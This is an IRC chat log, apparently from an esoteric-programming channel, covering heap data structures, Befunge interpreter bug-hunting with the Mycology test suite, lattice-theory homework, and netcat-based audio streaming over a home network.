15:44:20 <oklopol> well right, but isn't even binary heap amortized O(1) for everything except remove top, everything that's removed has to have been added at some point
15:44:30 <oklopol> oh well i guess you don't have to remove
15:44:39 <oklopol> yeah it's different
15:45:00 <oklopol> because you, on the other hand, have to add before you can remove
15:45:11 <oklopol> but yeah i meant actual constant time
15:46:50 <AnMaster> Deewiant, pushed fix.
15:47:03 <AnMaster> Deewiant, might take a few minutes to be visible due to caching effects
15:47:35 <ais523> hmm, actually you can't
15:48:06 <ais523> no, I'm wrong, you can
15:48:23 <ais523> because adding to a tree of size n, and removing from a tree of size n, must mirror exactly, or have more adds
15:48:31 <ais523> what gets amortized onto what is weird, though
15:48:55 <Deewiant> AnMaster: Right, appears to work now.
15:49:23 <oklopol> well the thing is complexities of a data structure should be considered one big whole, it's just harder to express
15:50:03 <ais523> yes
15:50:04 -!- werdan7 has joined.
15:50:22 <oerjan> i think you could remove top O(1) exactly if you keep a linked list + a tree for addition
15:50:22 <ais523> e.g. in a fibonacci heap, if you add loads of elements then extract top once, it actually does an O(n) search for the top element
15:50:32 <ais523> oerjan: adding to a tree is O(log n)
15:50:34 <AnMaster> Deewiant, I might have time to do a release this week. Not sure
15:50:50 <AnMaster> if I don't, it is unlikely to happen for several weeks
15:50:53 <ais523> but that O(n) is amortized onto all the adds you did, and the deletes are O(log n) after that
15:50:57 <oerjan> ais523: yes, but don't modify the tree when removing
15:51:09 <AnMaster> Deewiant, but I'll wait until the weekend at least, in case you find more bugs
15:51:32 <AnMaster> Deewiant, as for efunge being slow. Have you tried with HiPE?
15:51:38 <oerjan> wait with that until you add something else
15:51:38 <ais523> oerjan: then extract top is O(n) in the number of previous extracts
15:51:50 <Deewiant> AnMaster: How?
15:51:54 <oerjan> ais523: no, because you _keep_ a linked list
15:52:03 <AnMaster> Deewiant, first check erlang is compiled with hipe
15:52:05 <AnMaster> run erl
15:52:08 <AnMaster> see the first line there
15:52:12 <Deewiant> [hipe]
15:52:12 <AnMaster> goes like:
15:52:16 <oerjan> i said keep a linked list + a tree, modify only list on removal
15:52:24 <ais523> oh, the idea is that you add elements to the tree, and it's a tree of pointers to the linked list
15:52:30 <AnMaster> gah copy paste is broken
15:52:30 <oerjan> yep
15:52:33 * AnMaster kicks synergy
15:52:34 <Deewiant> AnMaster: ^
15:52:47 <ais523> so adding is O(log n) to both add to the tree, and find where in the list to add it, and O(1) to add to the linked list in the appropriate place
15:52:56 <AnMaster> Deewiant, yes it is hipe enabled
15:53:02 <AnMaster> Deewiant, then see efunge README
15:53:22 <oklopol> why is it O(1) to add to the linked list?
15:53:30 <AnMaster> ERL_COMPILER_OPTIONS='[inline,native,{hipe,[o3]}]' make
15:53:32 <AnMaster> Deewiant, is in there
15:53:41 <AnMaster> Deewiant, be sure to make clean first
15:53:46 <ais523> oklopol: because you have a pointer to where in the list you're adding it, and so can just update a constant number of next and prev pointers
15:53:48 <AnMaster> or it won't be rebuilt
15:53:55 <AnMaster> Deewiant, this might or might not help
15:54:04 <ais523> four for a doubly linked list, two for a singly linked list
15:54:08 <AnMaster> and at most it will do a small difference.
15:54:08 <oklopol> oh, well then doesn't the linked list work as a heap already?
15:54:13 <ais523> then one more to get the new tree element to point to the list
15:54:27 <ais523> oklopol: you need to look at the tree (which is presumably kept balanced and sorted) to know where in the list to add, though
15:54:50 <oklopol> this has gotten to the stage where i'd start making things precise.
15:55:02 <AnMaster> Deewiant, did it make any measurable difference?
15:55:24 <Deewiant> AnMaster: Around 50-70% improvement (if I remember the previous time correctly)
15:55:30 <AnMaster> Deewiant, wow
15:55:35 <AnMaster> that is a lot more than I expected
15:55:39 <Deewiant> Still 10x too slow ;-P
15:55:46 <oklopol> oh the tree is a search tree, right
15:55:47 <AnMaster> Deewiant, I expected around 10% improvement at *most*
15:55:56 <oklopol> that makes more sense
15:56:02 <Deewiant> AnMaster: I might have built without any optimizations previously.
15:56:18 <AnMaster> Deewiant, well, probably, that is the default. Anyway on normal mycology it seems pretty fast to me
15:56:31 <Deewiant> Mycology is a very fast program to run.
15:56:36 <ais523> hmm, apparently Brodal queues have the same (non-amortized) performance as the amortized performance of Fibonnacci heaps
15:56:38 <AnMaster> of course cfunge is a lot faster at mycology
15:56:57 <AnMaster> Deewiant, yes it is nowdays. Before HRTI check was taking quite a lot of time. Did you change anything about how that was done?
15:57:04 <ais523> couldn't you just detect mycology and cat a model output?
15:57:15 <AnMaster> ais523, what would the point of that be?
15:57:21 <Deewiant> How would you detect it?
15:57:34 <AnMaster> Deewiant, sha256 hash?
15:57:35 <ais523> oklopol: you need to look at the tree (which is presumably kept balanced and sorted) to know where in the list to add, though
15:57:46 <ais523> *you could compare to a stored copy as you read it in
15:57:46 <AnMaster> Deewiant, would be version specific yes
15:57:50 <Deewiant> AnMaster: I don't think I've changed it recently but maybe I misremember
15:57:55 <AnMaster> Deewiant, not recently
15:58:02 <AnMaster> but maybe the past 1.5 years
15:58:07 <ais523> note that that is a plausible typo, it only takes one keypress or touchpad knock to accidentally repeat a previous line rather than write a new one
15:58:15 <Deewiant> I changed it at some point, but I think that was to make it slower, not faster.
15:58:19 <AnMaster> mhm
15:58:41 <AnMaster> ais523, ?
15:59:01 <AnMaster> how would touchpad do that
15:59:03 <ais523> AnMaster: you know how readline works, pressing up gives you a previous line?
15:59:07 <AnMaster> up arrow key press yes
15:59:11 <ais523> well, both the up arrow key press does
15:59:11 <AnMaster> but touchpad?
15:59:14 <ais523> and scrolling the mouse wheel
15:59:21 <ais523> and you can do a mouse-wheel-scroll by touching the touchpad
15:59:25 <AnMaster> ais523, here scrolling mouse wheel scrolls the terminal
15:59:40 <ais523> AnMaster: same here, but I'm not using a terminal
15:59:49 <AnMaster> ais523, well what program then?
16:00:13 <AnMaster> also iirc you can turn that scroll thing off for touchpad
16:00:17 -!- nooga has joined.
16:00:26 <ais523> AnMaster: I know, I turned it on deliberately
16:00:30 <ais523> not having a mouse, it's actually useful
16:00:37 <AnMaster> anyway, what client
16:00:56 <ais523> Konversation, and only if the cursor is over the message-typing box at the time
16:03:28 <ais523> why did you ask what client I was using rather than CTCP VERSIONing it?
16:03:28 -!- nooga_ has quit (Ping timeout: 258 seconds).
16:06:56 <AnMaster> ais523, heh
16:07:55 <Deewiant> AnMaster's client doesn't respond to VERSION
16:08:22 <AnMaster> Deewiant, correct. I have a *!*@* ignore on CTCP and DCC (apart from CTCP ACTION)
16:08:31 <AnMaster> this is due to spam
16:25:22 -!- nooga has quit (Ping timeout: 264 seconds).
16:34:08 -!- jcp has joined.
16:36:36 -!- charlls has joined.
16:43:31 -!- MigoMipo has joined.
17:05:11 -!- werdan7 has quit (Ping timeout: 622 seconds).
17:08:26 -!- Tritonio_GR has quit (Ping timeout: 258 seconds).
17:08:44 -!- BeholdMyGlory has joined.
17:17:46 -!- werdan7 has joined.
17:22:50 -!- coppro has quit (Ping timeout: 248 seconds).
17:28:58 -!- lereah_ has quit (Remote host closed the connection).
18:02:37 -!- tombom has joined.
18:15:59 -!- oerjan has quit (Quit: Good night).
18:25:35 -!- Tritonio_GR has joined.
18:26:04 -!- ais523 has quit (Remote host closed the connection).
18:34:22 <AnMaster> Deewiant, btw what was the cause of that bug in ccbi that you thought was a bug in cfunge and efunge?
18:35:21 <Deewiant> Logic error
18:35:56 <Deewiant> Basically the bounds were right the first time, but not thereafter (if they changed)
18:36:18 <AnMaster> heh
18:38:35 -!- Sgeo has quit (Read error: Connection reset by peer).
18:42:58 -!- Sgeo has joined.
18:49:58 -!- Slereah has quit (Ping timeout: 264 seconds).
18:56:13 -!- Slereah has joined.
19:01:55 -!- charlesq__ has joined.
19:01:59 -!- charlesq__ has quit (Read error: Connection reset by peer).
19:04:58 -!- charlls has quit (Ping timeout: 258 seconds).
19:12:04 -!- Tritonio_GR has quit (Quit: Leaving.).
19:13:41 -!- mibygl_ has joined.
19:13:55 <mibygl_> If you defunge something, it is defunct. If you befunge something, it is befunct.
19:13:57 * mibygl_ bows.
19:23:52 <AnMaster> mhm
19:24:17 <AnMaster> mibygl_, so you plan to make a language called defunge now?
19:24:36 <mibygl_> Probably not.
19:25:40 * Sgeo growls at newscientist articles costing money
19:26:00 <Sgeo> Where else am I likely to find articles related to psychology stuff?
19:27:23 <AnMaster> Sgeo, why are you so angry over it costing money?
19:28:01 <Sgeo> Because I want free stuff
19:28:13 <AnMaster> tough luck?
19:28:29 <Sgeo> At any rate, I don't feel like spending money just to do a simple homework assignment, just because I don't know where else to look
19:30:54 <mibygl_> Your library?
19:31:13 <Sgeo> I just want to find something online
19:31:28 <Sgeo> Some nice news article about the physical brain or about conditioning
19:32:12 <Sgeo> http://7thspace.com/headlines/339167/effects_of_local_anesthesia_of_the_cerebellum_on_classical_fear_conditioning_in_goldfish.html maybe
19:32:49 <AnMaster> Sgeo, universities generally have subscriptions for various stuff btw.
19:32:55 <AnMaster> so connecting from there might work
19:33:16 <AnMaster> same goes for some libraries to some stuff, not as common though
19:33:31 <mibygl_> My library has online stuff.
19:33:31 <AnMaster> oh and yeah, checking the books in the library would probably work
19:33:59 <Sgeo> How about I just use this article I found
19:34:05 <AnMaster> mibygl_, usually just encyclopedias and such accessible from the public computers in the library in my experience
19:34:33 <AnMaster> Sgeo, sure, but that isn't what the discussion is about any more
19:34:34 <AnMaster> :P
19:38:51 * Sgeo plays a bit of Robozzle
19:50:33 -!- kar8nga has joined.
19:56:42 -!- mibygl_ has quit (Ping timeout: 252 seconds).
20:37:21 -!- Azstal has joined.
20:39:14 -!- Asztal has quit (Ping timeout: 265 seconds).
20:39:28 -!- Azstal has changed nick to Asztal.
20:58:59 -!- Oranjer has joined.
21:00:55 -!- kar8nga has quit (Remote host closed the connection).
21:35:41 -!- Phantom_Hoover has joined.
21:37:15 <Phantom_Hoover> Re the wire-crossing problem, specifically the strong version on the wiki page, what effect does the TCness of Rule 110 have on this?
21:41:06 -!- Phantom_Hoover has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.8/20100214235838]).
21:41:07 <AnMaster> what is the wire crossing problem now again?
21:41:12 <AnMaster> ...
21:41:25 <AnMaster> impatient guy
21:42:51 <Oranjer> hahahaha
21:42:56 <Oranjer> could have been an accident
21:50:39 <AnMaster> hm what about the wire crossing problem in wireworld
21:51:10 <AnMaster> ah seems possible
21:51:37 * Sgeo remembers learning of wireworld from Mirek's Celebration
21:51:43 <AnMaster> Mirek's Celebration?
21:53:17 <Sgeo> ". Its a testament to our modesty that it was not until September 2004 that we wrote up our work."
21:53:35 <Sgeo> CA program
21:53:51 <AnMaster> ?
21:54:46 * AnMaster fires up golly to try some out
21:59:53 <Sgeo> Someone should make a C compiler for the Wireworld computer
22:05:39 <AnMaster> Sgeo, near impossible considering how little memory it has
22:05:40 <AnMaster> and so on
22:05:54 <AnMaster> and the weird architecture
22:06:27 * AnMaster imagines wireworld but with induction as well
22:07:30 <lament> the wireworld computer looks so pretty
22:07:50 <lament> much nicer than the life turing machine
22:11:02 <AnMaster> lament, true
22:14:29 <Ilari> Was the strong version the one where memory is considered too (and the weak version was just for control logic)?
22:15:24 <AnMaster> Ilari, don
22:15:27 <AnMaster> don't* remember
22:24:00 -!- Oranjer has left (?).
22:30:22 <AnMaster> off topic question
22:30:30 <AnMaster> but I guess someone in here should know
22:30:32 <AnMaster> network sound
22:30:35 <AnMaster> how do you do it
22:30:49 <AnMaster> I mean, I want to forward sound from one computer to another
22:30:57 <AnMaster> so all sound plays through one computer
22:31:21 * AnMaster looks at fizzie as the most likely person to know
22:31:32 <AnMaster> hm he is away
22:32:57 <oklopol> lattices are too complicated
22:33:26 <oklopol> i've been doing this one exercise about them for like 6 hours
22:33:29 <oklopol> :D
22:34:34 <AnMaster> oklopol, heh
22:34:49 <AnMaster> oklopol, tell me, what are they. Simplify if needed
22:35:36 <AnMaster> I just want a "popular science" kind of view, nothing to detailed. Just enough to know what the heck they are roughly
22:35:42 <oklopol> posets where any two elements have a sup and an inf, that is, for all x, y \in L there's a z such that z >= x, z >= y, and for all w >= x, w >= y, w >= z
22:35:46 <oklopol> oh
22:35:55 -!- Phantom_Hoover has joined.
22:36:03 <oklopol> well then they are these pretty things you can draaw
22:36:06 <oklopol> *draw
22:36:07 <AnMaster> hahaa
22:36:15 <Phantom_Hoover> Mm, CAs.
22:36:20 <AnMaster> oklopol, are they related to matrices in any ways?
22:36:30 <oklopol> i doubt it
22:36:37 <oklopol> where did you get that idea
22:36:50 <Phantom_Hoover> Crissy-crossy things?
22:37:09 <AnMaster> oklopol, well the name
22:37:20 <oklopol> oh right
22:37:20 <AnMaster> oklopol, anyway, what are their applications?
22:37:34 <oklopol> well they have all sorts of applications in universal algebra
22:38:00 <Phantom_Hoover> WP gives about five different definitions for mathematical lattices.
22:38:00 <AnMaster> oklopol, I have no clue what that is XD
22:38:10 <AnMaster> Phantom_Hoover, wonderful
22:38:25 <AnMaster> Phantom_Hoover, any of them halfway understandable to a non-mathematician?
22:38:27 <oklopol> i know two
22:38:51 <oklopol> the poset one was probably a bad choice, because AnMaster already knows boolean algebras, i think
22:38:54 <Phantom_Hoover> One of them is set theory, which you don't even do in any standard curriculum I know of until uni.
22:39:00 <oklopol> lattices are just boolean algebras without complement, 0 and 1
22:39:03 <AnMaster> oklopol, I know a bit about them, No expert
22:39:09 <AnMaster> oklopol, wait what
22:39:18 <oklopol> and they don't have to be distributive
22:39:25 <AnMaster> oklopol, boolean without true, false or complement?
22:39:28 <AnMaster> did you just say that?
22:39:36 <AnMaster> oh not two-valued boolean?
22:39:43 <oklopol> yeah, lattices are like boolean algebras but more general
22:39:48 <oklopol> i didn't say 2-elem did i
22:39:54 <Phantom_Hoover> Algebrae, surely?
22:40:00 <Phantom_Hoover> Oh, wait, no.
22:40:03 <Phantom_Hoover> Arabic root.
22:40:20 <oklopol> i've only seen algebras in serious contexts
22:40:46 <Phantom_Hoover> And that is probably the correct form.
22:42:35 <Phantom_Hoover> So, wait, are we talking about the set theory lattices, the vectory ones or the graphy ones?
22:47:14 <oklopol> the algebra called lattice.
22:47:21 <oklopol> are there multiple?
22:49:42 <oklopol> the "type of partially ordered set"
22:51:22 <oklopol> i'm supposed to prove congruence lattices of lattices are distributive
22:52:42 <oklopol> which i imagine would follow quite easily if i understood what actually happens when we make a congruence where a = b in a lattice
22:57:50 <Deewiant> AnMaster: More cfunge bugs! Either o or i, don't know which. http://tar.us.to:12345/mycology.b98
22:58:16 <Phantom_Hoover> Why "mycology"?
22:58:18 <Deewiant> AnMaster: Also, efunge apparently doesn't like q with a negative value; might not be a bug.
22:58:28 <Phantom_Hoover> What could it possibly have to do with mushrooms?
22:58:37 <Deewiant> Phantom_Hoover: Funge ~= fungus
22:58:56 <Deewiant> Wasn't my idea, there was a test suite called "Fungus" before this.
22:59:03 <Deewiant> So I just rolled with it.
23:00:50 <oklopol> i love it how a question that's taken me ~3 hours is between two questions that follow from the definitions so directly i can't really come up with anything to write down except "A because B, B because A"
23:01:02 <oklopol> *-it
23:01:35 <oklopol> or maybe more like "clearly A => B, clearly B => A"
23:01:55 <Ilari> What's the difficult one?
23:02:17 <oklopol> "congruence lattices of lattices are distributive" is the one that's taken me 6 hours
23:02:32 <oklopol> the 3 hour one is about lattices too, but i'm afraid you might directly see the solution to that
23:02:42 <oklopol> which would be embarrassing
23:02:56 <oklopol> i hope the distributivity one sounds complicated enough that no one looks into it
23:03:02 <oklopol> :P
23:03:04 <Phantom_Hoover> Distributive over what?
23:03:27 <Phantom_Hoover> What does "congruent" mean in this context?
23:03:31 <oklopol> a lattice is distributive if a ^ (b v c) = (a ^ b) v (a ^ c), and same for ^ and v reversed
23:03:47 <oklopol> (for all elements a, b, c in the lattice)
23:04:40 <oklopol> a congruence ~ is an equivalence relation of algebra A s.t. if f is an n-ary operation of A, and a_1 ~ b_1, ..., a_n ~ b_n, then f(a_1, ..., a_n) ~ f(b_1, ..., b_n)
23:05:06 -!- coppro has joined.
23:05:13 <oklopol> an equivalence relation on the algebra's elements that's compatible with the algebra's operations
23:06:08 <coppro> I had a crazy idea today
23:06:20 <coppro> What if types aren't distinct entities?
23:07:34 <Phantom_Hoover> What?
23:07:41 <Phantom_Hoover> Umm...
23:08:04 <Phantom_Hoover> I don't know.
23:08:24 <Phantom_Hoover> They would be indistinct entities?
23:08:46 <coppro> in other words, a value can possess multiple types at once
23:08:46 <oklopol> the congruence lattice is formed by taking all the congruences of a lattice, and having the lattice operations be (~_1) ^ (~_2) = (~_1) \cap (~_2) and (~_1) v (~_2) = (~) such that { x ~ y | iff there's a sequence of elements a_1, ..., a_n in L such that x ~_1 a_1 ~_2 a_2 ~_1 a_3 ~_2 ... ~_1 y}
23:09:05 <coppro> its actual type would be the union of all its "datapacks", which is what I've named then
23:09:06 <coppro> *them
23:09:19 <oklopol> where \cap is done on the set representation of the congruences, {(a, b) | a ~ b}
23:09:57 <oklopol> the actual problem is probably easier than following this explanation
23:10:56 -!- MigoMipo has quit (Remote host closed the connection).
23:11:52 <Phantom_Hoover> Yep.
23:12:08 <Phantom_Hoover> Even having proper formatting would do a world of good.
23:14:10 <oklopol> *all the congruences of an algebra
23:14:13 <oklopol> in the general case
23:14:26 -!- kar8nga has joined.
23:14:38 <oklopol> clearly {x ~ y | iff there's a sequence of elements a_1, ..., a_n in L such that x ~_1 a_1 ~_2 a_2 ~_1 a_3 ~_2 ... ~_1 y} is a congruence
23:14:44 <oklopol> for any algebra
23:16:08 <Ilari> One of my ideas is for language that doesn't have named variables, only indirection operator as interface to memory.
23:16:57 <Phantom_Hoover> oklopol: Are you trying to get help on your maths (homework|assignment|.*) on an esoteric language board?
23:17:37 <oklopol> no not really, just chatting because i'm getting frustrated with the problems
23:17:49 <oklopol> and i can only chat about the problems because after a day of doing them nothing else seems important
23:18:03 <Gregor> Ilari: So, the Lambda calculus with DeBruin indices.
23:18:25 <Ilari> If number type is bignum, then that would be TC given sufficient set of other operations (but it isn't TC with bounded numbers, unless there is another kind of memory).
23:18:29 <oklopol> it's not exactly the kind of problem you can ask help for if people don't know what lattices are
23:18:36 <oklopol> because it's a very hard problem even if you do
23:20:13 -!- Tritonio_GR has joined.
23:20:52 <oklopol> Phantom_Hoover: but i occasionally do ask for help here because #math is full of maggots and i don't know any alternatives to irc
23:21:42 <Phantom_Hoover> *joins #math*
23:21:46 -!- BeholdMyGlory has quit (Read error: Connection reset by peer).
23:22:44 <oklopol> it's a rather hostile place from time to time
23:22:54 <Phantom_Hoover> I can imagine.
23:23:36 <coppro> example idea for my language: there would be a Nil datapack with no contents, and a value could be expressed as either Nil or an Int by {Nil~Int} (or, equivalently, {Int~Nil}, ~ being XOR
23:23:37 <oklopol> mostly because most people who ask questions there are fucking retarded
23:24:39 <Phantom_Hoover> coppro: Why not just {Int}?
23:24:42 <oklopol> but also because the people who answer questions there are fucking retarded
23:24:49 <coppro> Phantom_Hoover: Int just means Int, which must have a value
23:25:02 <coppro> {Nil~Int} means "either Nil or Int, but not both"
23:25:22 <coppro> ideally, it would have type inference so you'd never have to write that out
23:26:22 <Ilari> Weakly typed languages can put any value into any variable. How that's different?
23:27:04 <oklopol> ...okay about the problem that's taken me 3 hours now, i just read the next page of the book and there's a relevant theorem which i'd forgotten about
23:27:11 <oklopol> great stuff
23:27:15 <coppro> Ilari: this is strongly typed
23:27:16 <Phantom_Hoover> What stage are you at?
23:27:21 <Phantom_Hoover> oklopol
23:27:21 <oklopol> "stage"?
23:27:33 <Phantom_Hoover> University, I presume?
23:27:35 <oklopol> well university obviously
23:27:36 <coppro> Ilari: And some datapacks would require the presence of others, effectively creating inheritance
23:27:55 <oklopol> our high school universal algebra course didn't do lattices.
23:28:45 <AnMaster> <Deewiant> AnMaster: More cfunge bugs! Either o or i, don't know which. http://tar.us.to:12345/mycology.b98
23:28:46 <AnMaster> so
23:28:48 <AnMaster> what does it do
23:29:05 <Deewiant> It quits right after the relevant output.
23:29:09 <AnMaster> Deewiant, yes
23:29:12 <AnMaster> but what *should* happen
23:29:15 <AnMaster> and what happens instead
23:29:18 <Deewiant> Run efunge.
23:29:38 <AnMaster> Deewiant, why can't you just explain what in the file is wrong
23:29:40 <AnMaster> :/
23:29:46 <Deewiant> Because I haven't checked.
23:29:53 <Deewiant> cfunge says BAD, efunge and ccbi don't -> not my problem.
23:30:02 -!- tombom has quit (Quit: Leaving).
23:30:04 <AnMaster> $ cat mycotmp0.tmp
23:30:04 <AnMaster> B
23:30:04 <AnMaster> C
23:30:08 <AnMaster> gah
23:30:10 <AnMaster> irc ate a newline
23:30:15 <AnMaster> there was a newline at the top
23:30:22 <Deewiant> There should be an A there to start with.
23:30:27 <AnMaster> okay
23:30:38 <AnMaster> Deewiant, where does the A come from?
23:30:46 <oklopol> what if it turns out befunge is just a big waste of you people's time?
23:30:50 <Deewiant> You can see the area being printed if you grep for "|A |"
23:30:55 <oklopol> and it never gets you a job or anything
23:31:02 <Deewiant> oklopol: I'd be surprised if it turns out it isn't
23:31:11 <Deewiant> It may've already got me a job or three
23:31:19 <oklopol> :)
23:31:26 <Deewiant> Who knows if it really made a difference, but it did come up in the interview.
23:31:27 <AnMaster> Deewiant, there is no C there
23:31:32 <AnMaster> Deewiant, so where does the C come from?
23:31:34 <oklopol> hah
23:31:36 <Deewiant> AnMaster: Yes there is.
23:31:58 <AnMaster> Deewiant, B NC?
23:32:02 <AnMaster> what the heck is that
23:32:16 <Deewiant> ASCII too advanced for you? :-P
23:32:21 <Deewiant> The N gets overwritten with a newline
23:32:24 <AnMaster> aha
23:32:39 <AnMaster> Deewiant, should there be a space after the B?
23:32:43 <Deewiant> Yes.
23:32:48 <AnMaster> Deewiant, not in text mode
23:32:51 <AnMaster> should be stripped
23:32:52 <Deewiant> Well, er, depends on what you mean
23:32:53 <AnMaster> shouldn't it?
23:33:00 <Deewiant> That's UNDEF and noted in the output
23:33:09 <AnMaster> Deewiant, I can make a good case for it both being stripped and for it staying there
23:33:19 <Deewiant> That's UNDEF and noted in the output
23:33:21 <AnMaster> right
23:33:40 <Deewiant> I was considering requiring stripping but I got lazy.
23:33:45 <AnMaster> Deewiant, also something is fishy with the y test:
23:33:50 <AnMaster> That the greatest point, relative to that point, is ( 183 177 )
23:33:51 <AnMaster> BAD: should have been ( 183 911 )
23:34:01 <AnMaster> that seems improbably to be a cfunge bug
23:34:07 <AnMaster> improbable*
23:34:15 <Deewiant> Surprise! If I give only the first 200 lines of Mycology the y test complains that it doesn't have all of it
23:34:40 <AnMaster> Deewiant, however since you told me before one should fix the first bug first I really should fix it first ;P
23:34:45 <AnMaster> (nah not really)
23:34:55 <Deewiant> Go ahead, fill the file with nonsense if you want :-P
23:34:59 <AnMaster> haha
23:35:16 <Deewiant> Just add "x\n" 734 times...
23:35:22 <AnMaster> asdjfILHGWAIUhpwoaiuehföaokshf sfasdga asgf8395ansjsahflkajhelkfhsTo be an infinite number of apes or not to befjahslkjr2a
23:35:36 <Deewiant> That works too, just don't go over 180 columns.
23:35:40 <AnMaster> hah
23:36:10 <AnMaster> Deewiant, what is "A\nB[ ]\nC[\n]" used for?
23:36:18 <Deewiant> Nothing, it's a comment.
23:36:20 <AnMaster> ah
23:37:05 <AnMaster> Deewiant, interesting ><>p on the line below it
23:37:11 <AnMaster> now why do you want that!?
23:37:22 <AnMaster> do you test t there or something
23:37:25 <Deewiant> It's part of the concurrency testing.
23:37:29 <AnMaster> ah
23:38:04 <AnMaster> nice "radiator" string btw.
23:38:16 <Deewiant> Radiator?
23:38:28 <Deewiant> Oh, that <<<<<<<<< stuff? :-P
23:38:31 <AnMaster> Deewiant, think a hot water radiator
23:38:33 <AnMaster> it goes like
23:38:37 <Deewiant> Yeah
23:38:38 <AnMaster> > v
23:38:42 <AnMaster> v <
23:38:44 <AnMaster> > v
23:38:45 <AnMaster> v <
23:38:46 <AnMaster> and so on
23:38:50 <AnMaster> so that bit is what I meant
23:38:57 <AnMaster> Deewiant, what was the <<<<<< bit then?
23:39:10 <AnMaster> it is a bit strange too
23:39:22 <AnMaster> waste of cycles
23:39:22 <Deewiant> It's overkill error testing for ] with a noncardinal delta
23:39:36 <AnMaster> Deewiant, well you have it elsewhere too
23:39:43 <Deewiant> I reappropriated that block of code within it (which used to be all <<<<<<<<) for this stuff
23:39:46 <AnMaster> >"$"$>>>>>>>>
23:39:47 <AnMaster> for example
23:39:54 <AnMaster> which seems weird
23:39:58 <Deewiant> That's concurrency testing again.
23:40:01 <AnMaster> ah
23:40:10 <AnMaster> Deewiant, all around the file stuff?
23:40:13 <AnMaster> seems somewhat messy
23:40:16 <Deewiant> No, immediately after.
23:40:18 <AnMaster> to not keep them separated
23:40:50 <AnMaster> Deewiant, physically in the file the |A | thing is the line *after* it
23:40:53 <Deewiant> But because you made the annoying realization that o in text mode can be tested, I had to add that somewhere, so now it's a bit more confusing that way.
23:41:01 <AnMaster> ah
23:41:09 <AnMaster> stupid me
23:41:15 * AnMaster looks at the source
23:41:16 <Deewiant> Yes, it's all your fault.
23:41:42 <AnMaster> you didn't *have* to test it though
23:41:48 <Deewiant> Yes I did :-P
23:42:05 -!- Phantom_Hoover has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.8/20100214235838]).
23:43:06 <fizzie> AnMaster: Network audio cross-platform seems to be a horrible mess; the ones I know about on Linux are JACK's rather kludgy-looking "netjack" thing, and Pulseaudio's (which is pretty popular) network server support. Oh, and ESD does audio-over-network, too, but I doubt that's used very much nowadays.
23:43:22 <fizzie> Pulse's networking might be the best bet if your system uses that already.
23:43:39 <AnMaster> Fungespace (105,148) to (109,150) follows:
23:43:40 <AnMaster> A |
23:43:40 <AnMaster> B
23:43:40 <AnMaster> C|
23:43:41 <AnMaster> huh?
23:43:44 <AnMaster> oh wait
23:43:51 <AnMaster> it doesn't escape newline
23:44:15 <AnMaster> fizzie, I have pulseaudio on one system, plain ALSA with "jack when required" on the other
23:44:27 <Sgeo> Surely the memory can be increased
23:44:35 <Sgeo> Although architecture issues are probably significant
23:44:36 <AnMaster> fizzie, hm what about http://alsa.opensrc.org/index.php/Network
23:46:03 <Sgeo> after a while (depending on the speed of your computer, it could easily be half an hour)
23:46:06 <Sgeo> Bleh
23:46:09 <fizzie> AnMaster: Well, yes, alsa's pretty flexibly configurable too, it sounds reasonable that you could hack some arecord-netcat-aplay plumbing, but it does sound a bit messy.
23:46:19 <Sgeo> But then, that was written some time ago, presumably
23:46:31 * AnMaster tries to make sense of his code for text file mode
23:47:07 <AnMaster> ssize_t lastspace = (ssize_t)size->x; ????
23:47:20 <Deewiant> fizzie: output audio | ssh host dd of=/dev/dsp ;-)
23:47:31 <fizzie> AnMaster: I think JACK's netjack is at least somewhat latency-optimized, though obviously networking is horribly slow compared to anything else. Though I guess netcat's UDP mode is not such a horribly bad idea either.
23:47:41 <AnMaster> fizzie, hm
23:47:50 <AnMaster> fizzie, would use it for games
23:48:03 <fizzie> Of course no authentication or any fancy negotiation there; if you have that "nc -u -l -p 8100 | aplay" running, it basically means that any UDP packets that come to that port come out of your speakers directly.
23:48:08 <AnMaster> as in, wesnoth or widelands or whatever
23:48:23 <AnMaster> fizzie, anyway I'm on a trusted lan basically
23:49:50 <AnMaster> huh what the heck did that logic do
23:49:55 <Ilari> Yes, that's for playback, but how you get apps to send the audio as UDP packets?
23:49:58 <fizzie> If you want it only now and then, I guess that "arecord to capture what would come out" + nc + aplay solution is not too bad. I wouldn't keep that thing running all the time.
23:50:26 <fizzie> Ilari: "arecord -t wav -f cd | nc -u server port" is what they used there.
23:50:31 -!- Oranjer has joined.
23:50:34 <AnMaster> okay I think that test is broken
23:51:01 <AnMaster> Deewiant, so I know the cause of the bug, but I have absolutely no clue how to fix it yet
23:51:08 <Deewiant> Heh
23:51:11 <Deewiant> What's the cause, then
23:51:20 <fizzie> Ilari: (You just need to set the capture source to "mixer" so that it captures what would go out locally.)
23:51:31 <AnMaster> Deewiant, one or several off by one errors in the code that strips spaces from the end of each line
23:51:49 <Deewiant> heh
23:51:52 <AnMaster> Deewiant, problem is that when I "fix" it, it breaks the logic elsewhere
23:52:14 <AnMaster> so I can atm get right for either multi-char lines or for single-char lines
23:52:17 <AnMaster> I'm not sure why
23:52:55 <AnMaster> Deewiant, btw, doesn't the spec say there shouldn't be any EOL?
23:52:58 <AnMaster> at the end
23:53:04 <AnMaster> or do I misremember
23:53:42 <AnMaster> Deewiant, should it strip empty lines? I don
23:53:45 <AnMaster> don't* remember
23:54:09 <Deewiant> I'm willing to read that as "any extra EOLs"; it's a UNIX convention that newlines are line terminators, not line separators, after all.
23:54:24 <fizzie> I guess netcat's UDP mode will at least make small enough UDP packets that they are less than the MTU, so you won't get that much lag out of that particular bit; given 1500 or so bytes, that's just 375 samples (< 10 ms) of 44.1kHz 16-bit stereo. It's anyone's guess how much arecord will buffer before doing any write()s, of course.
23:54:30 <Deewiant> And no, it shouldn't strip empty lines.
23:54:34 <AnMaster> Deewiant, right
23:54:49 <AnMaster> Deewiant, hm?
23:54:55 <AnMaster> oh I see what you mean
23:54:56 <AnMaster> right
23:55:11 <AnMaster> Deewiant, I think cfunge strips all of them, I don't know if efunge strips all
23:56:09 <AnMaster> fizzie, 16-bits only? :/
23:56:42 <Deewiant> AnMaster: Evidently it does.
23:57:13 <fizzie> AnMaster: Well, you can push anything through that, of course. I was just calculating those numbers based on what they used ("-f cd").
23:58:42 <AnMaster> Deewiant, pushing fix, cache effects might apply
23:59:31 <Deewiant> AnMaster: Hang on, I think there might be an efunge bug here too (or CCBI)
23:59:47 <AnMaster> Deewiant, ?
2010-03-26
00:00:09 <fizzie> I'm not qualified to guesstimate the lag, but I don't think arecord's been designed to minimize the time taken before the input sound is output into the "file". There's some --buffer-time option there, not sure how much that is related to writing.
00:00:29 <Gregor> DEAD DOVE
